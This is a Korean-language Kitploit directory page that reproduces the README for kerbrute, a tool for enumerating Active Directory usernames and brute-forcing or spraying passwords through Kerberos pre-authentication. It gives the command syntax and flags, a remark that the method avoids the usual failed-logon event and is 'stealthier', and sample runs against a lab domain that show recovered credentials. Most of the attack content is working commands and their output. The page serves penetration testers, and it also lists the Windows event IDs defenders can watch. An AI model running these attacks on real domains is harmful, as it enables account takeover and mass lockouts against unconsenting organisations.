Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
kerbrute — Kerberos 사전 인증 무차별 대입 공격을 수행하는 도구 | Kitploit
도구/GitHubGitHub/ropnop/kerbrute
ReconnaissancePassword AttacksInformation GatheringAuthentication
GitHubropnop/kerbrute

kerbrute

Kerberos 사전 인증 무차별 대입 공격을 수행하는 도구

저장소 보기
3.4k4855년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Kerbrute

CircleCI

Kerberos 사전 인증을 통해 유효한 Active Directory 계정을 빠르게 무차별 대입하고 열거하는 도구입니다.

시작하려면 릴리스 페이지에서 최신 바이너리를 다운로드하세요.

배경

이 도구는 몇 년 전 Heimdal Kerberos 클라이언트를 이용해 Linux에서 무차별 대입을 수행하기 위해 작성한 bash 스크립트에서 발전했습니다. Kerberos 클라이언트를 설치할 권한이 필요하지 않은 도구를 원했고, Kerberos의 순수 Go 구현인 gokrb5를 발견한 후 마침내 Go를 배워 이 도구를 작성하기로 결정했습니다.

Kerberos로 Windows 비밀번호를 무차별 대입하는 것은 제가 아는 다른 어떤 접근 방식보다 훨씬 빠르며, 사전 인증 실패 시 "전통적인" 계정 로그온 실패 이벤트 4625가 트리거되지 않으므로 잠재적으로 더 은밀합니다. Kerberos를 사용하면 KDC(도메인 컨트롤러)에 하나의 UDP 프레임만 전송하여 사용자 이름을 검증하거나 로그인을 테스트할 수 있습니다.

자세한 배경과 정보는 Troopers 2019 강연, "Fun with LDAP and Kerberos"(링크 추후 공개)를 확인하세요.

사용법

Kerbrute에는 세 가지 주요 명령어가 있습니다:

  • bruteuser - 단일 사용자의 비밀번호를 단어 목록에서 무차별 대입합니다
  • bruteforce - 파일 또는 stdin에서 username:password 조합을 읽어 테스트합니다
  • passwordspray - 사용자 목록에 대해 단일 비밀번호를 테스트합니다
  • userenum - Kerberos를 통해 유효한 도메인 사용자 이름을 열거합니다

도메인(-d) 또는 도메인 컨트롤러(--dc)를 지정해야 합니다. 도메인 컨트롤러를 지정하지 않으면 DNS를 통해 KDC가 조회됩니다.

기본적으로 Kerbrute는 멀티스레드이며 10개의 스레드를 사용합니다. 이는 -t 옵션으로 변경할 수 있습니다.

출력은 stdout에 기록되지만, -o로 로그 파일을 지정할 수 있습니다.

기본적으로 실패는 기록되지 않지만, -v로 변경할 수 있습니다.

마지막으로, Kerbrute에는 --safe 옵션이 있습니다. 이 옵션을 활성화하면 계정이 잠긴 것으로 확인될 경우 다른 계정이 잠기는 것을 방지하기 위해 모든 스레드를 중단합니다.

help 명령어를 사용하면 더 많은 정보를 얻을 수 있습니다.

root@kitploit:~
$ ./kerbrute -h

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string          The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int          Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string      The full domain to use (e.g. contoso.com)
      --downgrade          Force downgraded encryption type (arcfour-hmac-md5)
      --hash-file string   File to save AS-REP hashes to (if any captured), otherwise just logged
  -h, --help               help for kerbrute
  -o, --output string      File to write logs to. Optional.
      --safe               Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int        Threads to use (default 10)
  -v, --verbose            Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

사용자 열거

사용자 이름을 열거하기 위해 Kerbrute는 사전 인증 없이 TGT 요청을 보냅니다. KDC가 PRINCIPAL UNKNOWN 오류로 응답하면 사용자 이름이 존재하지 않는 것입니다. 그러나 KDC가 사전 인증을 요구하면 사용자 이름이 존재하는 것이므로 계속 진행합니다. 이로 인해 로그인 실패가 발생하지 않으므로 계정이 잠기지 않습니다. Kerberos 로깅이 활성화된 경우 Windows 이벤트 ID 4768이 생성됩니다.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:28:04 >  Using KDC(s):
2019/03/06 21:28:04 >   pdc01.lab.ropnop.com:88

2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  Done! Tested 1001 usernames (2 valid) in 0.425 seconds

비밀번호 분사

passwordspray를 사용하면 Kerbrute가 도메인 사용자 목록에 대해 수평적 무차별 대입 공격을 수행합니다. 이는 사용자가 많은 목록에서 하나 또는 두 개의 일반적인 비밀번호를 테스트할 때 유용합니다. 경고: 이는 실패한 로그인 횟수를 증가시키고 계정을 잠급니다. 이벤트 ID 4768 - Kerberos 인증 티켓(TGT)이 요청됨과 4771 - Kerberos 사전 인증 실패가 모두 생성됩니다.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:37:29 >  Using KDC(s):
2019/03/06 21:37:29 >   pdc01.lab.ropnop.com:88

2019/03/06 21:37:35 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  Done! Tested 2755 logins (2 successes) in 7.674 seconds

사용자 무차별 대입

이는 사용자 이름에 대한 전통적인 무차별 대입 계정입니다. 잠금 정책이 없다고 확신하는 경우에만 실행하세요! 이벤트 ID 4768 - Kerberos 인증 티켓(TGT)이 요청됨과 4771 - Kerberos 사전 인증 실패가 모두 생성됩니다.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:38:24 >  Using KDC(s):
2019/03/06 21:38:24 >   pdc01.lab.ropnop.com:88

2019/03/06 21:38:27 >  [+] VALID LOGIN:  [email protected]:Summer2017
2019/03/06 21:38:27 >  Done! Tested 1001 logins (1 successes) in 2.711 seconds

무차별 대입

이 모드는 단순히 파일 또는 stdin에서 username:password 조합(username:password 형식)을 읽어 Kerberos 사전 인증으로 테스트합니다. 빈 줄이나 사용자 이름/비밀번호가 비어 있는 줄은 건너뜁니다. 이벤트 ID 4768 - Kerberos 인증 티켓(TGT)이 요청됨과 4771 - Kerberos 사전 인증 실패가 모두 생성됩니다.

root@kitploit:~
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop

2019/05/11 18:40:56 >  Using KDC(s):
2019/05/11 18:40:56 >   pdc01.lab.ropnop.com:88

2019/05/11 18:40:56 >  [+] VALID LOGIN:  [email protected]:Password1234
2019/05/11 18:40:56 >  Done! Tested 7 logins (1 successes) in 0.114 seconds

설치

릴리스 페이지에서 Linux, Windows, Mac용 미리 컴파일된 바이너리를 다운로드할 수 있습니다. 최신 버전을 원한다면 Go로 설치할 수도 있습니다:

root@kitploit:~
$ go get github.com/ropnop/kerbrute

저장소를 클론한 경우 Make 파일을 사용하여 일반적인 아키텍처용으로 컴파일할 수 있습니다:

root@kitploit:~
$ make help
help:            Show this help.
windows:  Make Windows x86 and x64 Binaries
linux:  Make Linux x86 and x64 Binaries
mac:  Make Darwin (Mac) x86 and x64 Binaries
clean:  Delete any binaries
all:  Make Windows, Linux and Mac x86/x64 Binaries

$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.

$ ls dist/
kerbrute_darwin_386        kerbrute_linux_386         kerbrute_windows_386.exe
kerbrute_darwin_amd64      kerbrute_linux_amd64       kerbrute_windows_amd64.exe

크레딧

jcmturner의 순수 Go KRB5 구현에 큰 감사를 보냅니다: https://github.com/jcmturner/gokrb5 . 놀라운 프로젝트이며 문서화가 잘 되어 있습니다. 이 프로젝트 없이는 이 작업을 전혀 할 수 없었을 것입니다.

delay 옵션을 제안하고 구현해준 audibleblink에게도 감사드립니다!

도구 다운로드